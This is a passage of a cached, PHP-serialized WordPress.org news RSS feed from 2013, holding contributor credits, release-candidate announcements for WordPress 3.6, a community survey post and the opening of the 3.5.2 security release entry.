(Mika Epstein)</a>, <a href=\"http://profiles.wordpress.org/jakub\">jakub</a>, <a href=\"http://profiles.wordpress.org/h4ck3rm1k3\">James Michael DuPont</a>, <a href=\"http://profiles.wordpress.org/jbutkus\">jbutkus</a>, <a href=\"http://profiles.wordpress.org/jeremyfelt\">Jeremy Felt</a>, <a href=\"http://profiles.wordpress.org/jerrysarcastic\">Jerry Bates (JerrySarcastic)</a>, <a href=\"http://profiles.wordpress.org/jayjdk\">Jesper Johansen (Jayjdk)</a>, <a href=\"http://profiles.wordpress.org/joehoyle\">Joe Hoyle</a>, <a href=\"http://profiles.wordpress.org/joen\">Joen Asmussen</a>, <a href=\"http://profiles.wordpress.org/jkudish\">Joey Kudish</a>, <a href=\"http://profiles.wordpress.org/johnbillion\">John Blackbourn (johnbillion)</a>, <a href=\"http://profiles.wordpress.org/johnjamesjacoby\">John James Jacoby</a>, <a href=\"http://profiles.wordpress.org/jond3r\">Jonas Bolinder (jond3r)</a>, <a href=\"http://profiles.wordpress.org/desrosj\">Jonathan Desrosiers</a>, <a href=\"http://profiles.wordpress.org/jonbishop\">Jon Bishop</a>, <a href=\"http://profiles.wordpress.org/duck_\">Jon Cave</a>, <a href=\"http://profiles.wordpress.org/jcastaneda\">Jose Castaneda</a>, <a href=\"http://profiles.wordpress.org/josephscott\">Joseph Scott</a>, <a href=\"http://profiles.wordpress.org/jvisick77\">Josh Visick</a>, <a href=\"http://profiles.wordpress.org/jrbeilke\">jrbeilke</a>, <a href=\"http://profiles.wordpress.org/jrf\">jrf</a>, <a href=\"http://profiles.wordpress.org/devesine\">Justin de Vesine</a>, <a href=\"http://profiles.wordpress.org/justinsainton\">Justin Sainton</a>, <a href=\"http://profiles.wordpress.org/kadamwhite\">kadamwhite</a>, <a href=\"http://profiles.wordpress.org/trepmal\">Kailey (trepmal)</a>, <a href=\"http://profiles.wordpress.org/karmatosed\">karmatosed</a>, <a href=\"http://profiles.wordpress.org/ryelle\">Kelly Dwan</a>, <a href=\"http://profiles.wordpress.org/keoshi\">keoshi</a>, <a href=\"http://profiles.wordpress.org/kovshenin\">Konstantin Kovshenin</a>, <a href=\"http://profiles.wordpress.org/obenland\">Konstantin Obenland</a>, <a href=\"http://profiles.wordpress.org/ktdreyer\">ktdreyer</a>, <a href=\"http://profiles.wordpress.org/kurtpayne\">Kurt Payne</a>, <a href=\"http://profiles.wordpress.org/kwight\">kwight</a>, <a href=\"http://profiles.wordpress.org/lancewillett\">Lance Willett</a>, <a href=\"http://profiles.wordpress.org/leewillis77\">Lee Willis (leewillis77)</a>, <a href=\"http://profiles.wordpress.org/lessbloat\">lessbloat</a>, <a href=\"http://profiles.wordpress.org/settle\">Mantas Malcius</a>, <a href=\"http://profiles.wordpress.org/maor\">Maor Chasen</a>, <a href=\"http://profiles.wordpress.org/macbrink\">Marcel Brinkkemper</a>, <a href=\"http://profiles.wordpress.org/marcuspope\">MarcusPope</a>, <a href=\"http://profiles.wordpress.org/mark-k\">Mark-k</a>, <a href=\"http://profiles.wordpress.org/markjaquith\">Mark Jaquith</a>, <a href=\"http://profiles.wordpress.org/markmcwilliams\">Mark McWilliams</a>, <a href=\"http://profiles.wordpress.org/markoheijnen\">Marko Heijnen</a>, <a href=\"http://profiles.wordpress.org/mjbanks\">Matt Banks</a>, <a href=\"http://profiles.wordpress.org/mboynes\">Matthew Boynes</a>, <a href=\"http://profiles.wordpress.org/matthewruddy\">MatthewRuddy</a>, <a href=\"http://profiles.wordpress.org/mattwiebe\">Matt Wiebe</a>, <a href=\"http://profiles.wordpress.org/maxcutler\">Max Cutler</a>, <a href=\"http://profiles.wordpress.org/melchoyce\">Mel Choyce</a>, <a href=\"http://profiles.wordpress.org/mgibbs189\">mgibbs189</a>, <a href=\"http://profiles.wordpress.org/fanquake\">Michael</a>, <a href=\"http://profiles.wordpress.org/mdawaffe\">Michael Adams (mdawaffe)</a>, <a href=\"http://profiles.wordpress.org/tw2113\">Michael Beckwith</a>, <a href=\"http://profiles.wordpress.org/mfields\">Michael Fields</a>, <a href=\"http://profiles.wordpress.org/mikehansenme\">Mike Hansen</a>, <a href=\"http://profiles.wordpress.org/dh-shredder\">Mike Schroder</a>, <a href=\"http://profiles.wordpress.org/dimadin\">Milan Dinic</a>, <a href=\"http://profiles.wordpress.org/mitchoyoshitaka\">mitcho (Michael Yoshitaka Erlewine)</a>, <a href=\"http://profiles.wordpress.org/batmoo\">Mohammad Jangda</a>, <a href=\"http://profiles.wordpress.org/najamelan\">najamelan</a>, <a href=\"http://profiles.wordpress.org/Nao\">Naoko Takano</a>, <a href=\"http://profiles.wordpress.org/alex-ye\">Nashwan Doaqan</a>, <a href=\"http://profiles.wordpress.org/niallkennedy\">Niall Kennedy</a>, <a href=\"http://profiles.wordpress.org/nickdaugherty\">Nick Daugherty</a>, <a href=\"http://profiles.wordpress.org/celloexpressions\">Nick Halsey</a>, <a href=\"http://profiles.wordpress.org/ninnypants\">ninnypants</a>, <a href=\"http://profiles.wordpress.org/norcross\">norcross</a>, <a href=\"http://profiles.wordpress.org/paradiseporridge\">ParadisePorridge</a>, <a href=\"http://profiles.wordpress.org/pauldewouters\">Paul</a>, <a href=\"http://profiles.wordpress.org/pdclark\">Paul Clark</a>, <a href=\"http://profiles.wordpress.org/pavelevap\">pavelevap</a>, <a href=\"http://profiles.wordpress.org/petemall\">Pete Mall</a>, <a href=\"http://profiles.wordpress.org/westi\">Peter Westwood</a>, <a href=\"http://profiles.wordpress.org/phill_brown\">Phill Brown</a>, <a href=\"http://profiles.wordpress.org/mordauk\">Pippin Williamson</a>, <a href=\"http://profiles.wordpress.org/pollett\">Pollett</a>, <a href=\"http://profiles.wordpress.org/nprasath002\">Prasath Nadarajah</a>, <a href=\"http://profiles.wordpress.org/programmin\">programmin</a>, <a href=\"http://profiles.wordpress.org/rachelbaker\">rachelbaker</a>, <a href=\"http://profiles.wordpress.org/ramiy\">Rami Yushuvaev</a>, <a href=\"http://profiles.wordpress.org/redpixelstudios\">redpixelstudios</a>, <a href=\"http://profiles.wordpress.org/reidburke\">reidburke</a>, <a href=\"http://profiles.wordpress.org/retlehs\">retlehs</a>, <a href=\"http://profiles.wordpress.org/greuben\">Reuben Gunday</a>, <a href=\"http://profiles.wordpress.org/rlerdorf\">rlerdorf</a>, <a href=\"http://profiles.wordpress.org/rodrigosprimo\">Rodrigo Primo</a>, <a href=\"http://profiles.wordpress.org/roulandf\">roulandf</a>, <a href=\"http://profiles.wordpress.org/rovo89\">rovo89</a>, <a href=\"http://profiles.wordpress.org/ryanduff\">Ryan Duff</a>, <a href=\"http://profiles.wordpress.org/ryanhellyer\">Ryan Hellyer</a>, <a href=\"http://profiles.wordpress.org/rmccue\">Ryan McCue</a>, <a href=\"http://profiles.wordpress.org/zeo\">Safirul Alredha</a>, <a href=\"http://profiles.wordpress.org/saracannon\">sara cannon</a>, <a href=\"http://profiles.wordpress.org/scholesmafia\">scholesmafia</a>, <a href=\"http://profiles.wordpress.org/sc0ttkclark\">Scott Kingsley Clark</a>, <a href=\"http://profiles.wordpress.org/coffee2code\">Scott Reilly</a>, <a href=\"http://profiles.wordpress.org/wonderboymusic\">Scott Taylor</a>, <a href=\"http://profiles.wordpress.org/scribu\">scribu</a>, <a href=\"http://profiles.wordpress.org/tenpura\">Seisuke Kuraishi (tenpura)</a>, <a href=\"http://profiles.wordpress.org/sergej\">Sergej</a>, <a href=\"http://profiles.wordpress.org/sergeybiryukov\">Sergey Biryukov</a>, <a href=\"http://profiles.wordpress.org/sim\">Simon Hampel</a>, <a href=\"http://profiles.wordpress.org/simonwheatley\">Simon Wheatley</a>, <a href=\"http://profiles.wordpress.org/siobhan\">Siobhan</a>, <a href=\"http://profiles.wordpress.org/sirzooro\">sirzooro</a>, <a href=\"http://profiles.wordpress.org/slene\">slene</a>, <a href=\"http://profiles.wordpress.org/solarissmoke\">solarissmoke</a>, <a href=\"http://profiles.wordpress.org/srinig\">SriniG</a>, <a href=\"http://profiles.wordpress.org/stephenh1988\">Stephen Harris</a>, <a href=\"http://profiles.wordpress.org/storkontheroof\">storkontheroof</a>, <a href=\"http://profiles.wordpress.org/sunnyratilal\">Sunny Ratilal</a>, <a href=\"http://profiles.wordpress.org/sweetie089\">sweetie089</a>, <a href=\"http://profiles.wordpress.org/tar\">Tar</a>, <a href=\"http://profiles.wordpress.org/tlovett1\">Taylor Lovett</a>, <a href=\"http://profiles.wordpress.org/thomasvanderbeek\">Thomas van der Beek</a>, <a href=\"http://profiles.wordpress.org/n7studios\">Tim Carr</a>, <a href=\"http://profiles.wordpress.org/tjsingleton\">tjsingleton</a>, <a href=\"http://profiles.wordpress.org/tobiasbg\">TobiasBg</a>, <a href=\"http://profiles.wordpress.org/toscho\">toscho</a>, <a href=\"http://profiles.wordpress.org/taupecat\">Tracy Rotton</a>, <a href=\"http://profiles.wordpress.org/travishoffman\">TravisHoffman</a>, <a href=\"http://profiles.wordpress.org/uuf6429\">uuf6429</a>, <a href=\"http://profiles.wordpress.org/lightningspirit\">Vitor Carvalho</a>, <a href=\"http://profiles.wordpress.org/wojtek\">wojtek</a>, <a href=\"http://profiles.wordpress.org/wpewill\">wpewill</a>, <a href=\"http://profiles.wordpress.org/wraithkenny\">WraithKenny</a>, <a href=\"http://profiles.wordpress.org/wycks\">wycks</a>, <a href=\"http://profiles.wordpress.org/xibe\">Xavier Borderie</a>, <a href=\"http://profiles.wordpress.org/yoavf\">Yoav Farhi</a>, <a href=\"http://profiles.wordpress.org/thelastcicada\">Zachary Brown</a>, <a href=\"http://profiles.wordpress.org/tollmanz\">Zack Tollman</a>, <a href=\"http://profiles.wordpress.org/zekeweeks\">zekeweeks</a>, <a href=\"http://profiles.wordpress.org/ziegenberg\">ziegenberg</a>, and <a href=\"http://profiles.wordpress.org/viniciusmassuchetto\">viniciusmassuchetto</a>.</p>\n<p>Time to upgrade!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"http://wordpress.org/news/2013/08/oscar/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"WordPress 3.6 Release Candidate 2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 24 Jul 2013 07:25:10 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:7:\"Testing\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2649\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:341:\"The second release candidate for WordPress 3.6 is now available for download and testing. We&#8217;re down to only a few remaining issues, and the final release should be available in a matter of days. In RC2, we&#8217;ve tightened up some aspects of revisions, autosave, and the media player, and fixed some bugs that were spotted [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Mark Jaquith\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:1325:\"<p>The second release candidate for WordPress 3.6 is now available for download and testing.</p>\n<p>We&#8217;re down to only a few remaining issues, and the final release should be available in a matter of days. In RC2, we&#8217;ve tightened up some aspects of revisions, autosave, and the media player, and fixed some bugs that were spotted in RC1. Please test this release candidate as much as you can, so we can deliver a smooth final release!</p>\n<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href=\"http://wordpress.org/support/forum/alphabeta/\">Alpha/Beta area in the support forums</a>.</p>\n<p><strong>Developers,</strong> please continue to test your plugins and themes, so that if there is a compatibility issue, we can figure it out before the final release. You can find our <a href=\"http://core.trac.wordpress.org/report/6\">list of known issues here</a>.</p>\n<p>To test WordPress 3.6, try the <a href=\"http://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href=\"http://wordpress.org/wordpress-3.6-RC2.zip\">download the release candidate here (zip)</a>.</p>\n<p><em>Revisions so smooth</em><br />\n<em>We autosave your changes</em><br />\n<em>Data loss begone!</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"WordPress 3.6 Release Candidate\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:75:\"http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 13 Jul 2013 03:23:17 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:7:\"Testing\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2639\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:344:\"The first release candidate for WordPress 3.6 is now available. We hope to ship WordPress 3.6 in a couple weeks. But to do that, we really need your help! If you haven&#8217;t tested 3.6 yet, there&#8217;s no time like the present. (But please: not on a live production site, unless you&#8217;re feeling especially adventurous.) Think [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Mark Jaquith\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:1504:\"<p>The first release candidate for WordPress 3.6 is now available.</p>\n<p>We hope to ship WordPress 3.6 in a couple weeks. But to do that, we really need your help! If you haven&#8217;t tested 3.6 yet, there&#8217;s no time like the present. (But please: not on a live production site, unless you&#8217;re feeling especially adventurous.)</p>\n<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href=\"http://wordpress.org/support/forum/alphabeta/\">Alpha/Beta area in the support forums</a>. If any known issues come up, you’ll be able to <a href=\"http://core.trac.wordpress.org/report/6\">find them here</a>. <strong>Developers,</strong> please test your plugins and themes, so that if there is a compatibility issue, we can sort it out before the final release.</p>\n<p>To test WordPress 3.6, try the <a href=\"http://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href=\"http://wordpress.org/wordpress-3.6-RC1.zip\">download the release candidate here (zip)</a>.</p>\n<p>As you may have heard, we backed the Post Format UI feature out of the release. On the other hand, our slick new revisions browser had some extra time to develop. You should see it with 200+ revisions loaded — scrubbing back and forth at lightning speed is a thing of beauty.</p>\n<p><em>Delayed, but still loved</em><br />\n<em>The release will be out soon</em><br />\n<em>Test it, por favor</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:34:\"Annual WordPress Survey &amp; WCSF\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:63:\"http://wordpress.org/news/2013/07/annual-wordpress-survey-wcsf/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://wordpress.org/news/2013/07/annual-wordpress-survey-wcsf/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 09 Jul 2013 23:50:29 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:9:\"Community\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:6:\"Events\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2625\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:347:\"It&#8217;s time for our third annual user and developer survey! If you&#8217;re a WordPress user, developer, or business, we want your feedback. Just like previous years, we&#8217;ll share the data at the upcoming WordCamp San Francisco (WCSF). Results will also be sent to each survey respondent. It only takes a few minutes to fill out [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Matt Mullenweg\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:1242:\"<p><img class=\"alignright\" alt=\"\" align=\"right\" src=\"http://wpdotorg.files.wordpress.com/2013/07/wcsf-2013.jpg\" width=\"278\" height=\"185\" />It&#8217;s time for our third annual user and developer survey! If you&#8217;re a WordPress user, developer, or business, we want your feedback. Just like previous years, we&#8217;ll share the data at the upcoming <a href=\"http://2013.sf.wordcamp.org/\">WordCamp San Francisco</a> (WCSF). Results will also be sent to each survey respondent.</p>\n<p>It only takes a few minutes to <a href=\"http://wp-survey.polldaddy.com/s/wp-2013\">fill out the survey</a>, which will provide an overview of how people use WordPress.</p>\n<p>If you missed past State of the Word keynotes, be sure to check out them out for survey results from <a href=\"http://wordpress.org/news/2011/08/state-of-the-word/\">2011</a> and <a href=\"http://ma.tt/2012/08/state-of-the-word-2012/\">2012</a>.</p>\n<p>Speaking of WCSF, if you didn&#8217;t get a ticket or are too far away to attend, you can still <a href=\"http://2013.sf.wordcamp.org/tickets/\">get a ticket for the live stream</a>! Watch the live video stream from the comfort of your home on July 26 and 27; WCSF t-shirt, or any shirt, optional.</p>\n<p>I hope to see you there.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wordpress.org/news/2013/07/annual-wordpress-survey-wcsf/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:48:\"WordPress 3.5.2 Maintenance and Security Release\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"http://wordpress.org/news/2013/06/wordpress-3-5-2/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:59:\"http://wordpress.org/news/2013/06/wordpress-3-5-2/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 21 Jun 2013 19:54:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Security\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2612\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:380:\"WordPress 3.5.2 is now available. This is the second maintenance release of 3.5, fixing 12 bugs. This is a security release for all previous versions and we strongly encourage you to update your sites immediately. The WordPress security team resolved seven security issues, and this release also contains some additional security hardening. The security fixes included: [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Andrew Nacin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:2549:\"<p>WordPress 3.5.2 is now available. This is the second maintenance release of 3.5, fixing <a 